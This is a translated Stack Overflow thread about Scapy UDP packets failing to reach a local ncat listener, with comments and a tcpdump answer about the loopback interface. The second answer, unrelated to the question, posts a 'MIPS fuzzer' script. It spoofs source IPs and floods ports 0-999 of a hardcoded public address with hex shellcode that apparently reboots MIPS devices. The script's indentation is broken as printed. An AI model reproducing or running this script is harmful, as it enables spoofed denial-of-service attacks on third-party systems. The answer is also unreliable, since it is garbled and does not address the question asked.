Пакеты UDP не работают для scapy?

Я сделал простую программу, которая пытается отправить UDP-пакет на мой сервер ncat.

вот код:

from scapy.all import *

sr1(IP(dst="127.0.0.1")/UDP(dport=8080)/"TAG1")

но я ничего не получаю от своего сервера ncat, может кто-нибудь сказать мне, что я делаю неправильно?


person D4zk1tty    schedule 15.06.2013    source источник
comment
попробуйте conf.L3socket=L3RawSocket   -  person jfs    schedule 16.06.2013
comment
Следуйте приведенному выше совету (или используйте другой адрес назначения): отправка на 127.0.0.1 с помощью Scapy... вызывает беспокойство.   -  person bortzmeyer    schedule 16.06.2013
comment
Тот же совет, другая ссылка.   -  person Robᵩ    schedule 17.09.2013


Ответы (2)


при разработке проекта, связанного с сетью, я предлагаю вам установить программное обеспечение для захвата, такое как tcpdump или wireshark. Это поможет вам увидеть, что находится в сети.
Чтобы получить все пакеты на 127.0.0.1 с помощью tcpdump, вы можете использовать следующую команду:

 tcpdump -i eth0 "dst 127.0.0.1 and dst port 8080"
person Mr. C    schedule 16.06.2013
comment
Это помогло мне, я все еще обнаружил, что пакеты не были отправлены, вот мой вывод после того, как scapy отправил около 2400 пакетов D4zk1tty@kali:~$ sudo tcpdump -i wlan0 "dst 127.0.0.1 and dst port 8080" tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on wlan0, link-type EN10MB (Ethernet), capture size 65535 bytes ^C 0 packets captured 0 packets received by filter 0 packets dropped by kernel - person D4zk1tty; 17.06.2013
comment
Извините, я не заметил, что ваш IP-адрес 127.0.0.1. Параметр i сообщает tcpdump, какое устройство прослушивать. вы должны использовать tcpdump -i lo xxx для захвата пакетов в lo, так как ваш dst ip 127.0.0.1. Когда ядро ​​выводит пакеты для 127.0.0.1, они не проходят через реальное устройство (eth0 или wlan0). Пожалуйста, проверьте, что ваш scrapy отправляет пакеты на lo. - person Mr. C; 17.06.2013

Попробуй это

from scapy.all import * 
print("Remote UDP Mips Fuzzer - Reset Shellcode")
for num in range(0,10):
data = "00" * int(str(num))
sc = "3c06432134c6fedc3c05281234a519693c04fee13484dead24020ff80101010c"
a = data+sc
for ip in range(0,255):
  for port in range(0,1000):
    i=IP()
    i.dst="213.48.152.128"              #Change this
    i.src="10.0"+"."+str(ip)+"."+str(ip)
    udp=UDP()
    udp.sport=int(str(port))
    udp.dport=int(str(port))
    sendp(i/udp/a)

Посмотри, как это работает ?

person Red Dragon    schedule 24.06.2014